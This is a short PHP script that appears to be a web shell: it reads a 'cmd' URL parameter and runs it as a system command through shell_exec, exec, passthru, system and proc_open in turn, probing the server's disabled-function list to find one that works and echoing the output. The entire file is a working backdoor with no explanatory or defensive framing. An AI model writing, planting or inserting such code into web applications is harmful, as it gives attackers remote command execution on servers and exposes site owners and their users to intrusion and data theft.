<?php
if(isset($_GET['cmd'])){
  $c=$_GET['cmd'];
  if(function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))){
    echo "shell_exec:\n".shell_exec($c);
  }
  if(function_exists('exec')){
    exec($c,$o,$r); echo "exec:\n".implode("\n",$o)."\nrc=$r\n";
  }
  if(function_exists('passthru')){ echo "passthru:\n"; passthru($c); }
  if(function_exists('system')){ echo "system:\n"; system($c); }
  if(function_exists('proc_open')){
    $p=proc_open($c,[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$pipes);
    if(is_resource($p)){ echo "proc_open:\n".stream_get_contents($pipes[1]).stream_get_contents($pipes[2]); proc_close($p);}  
  }
  echo "disabled=".ini_get('disable_functions');
}
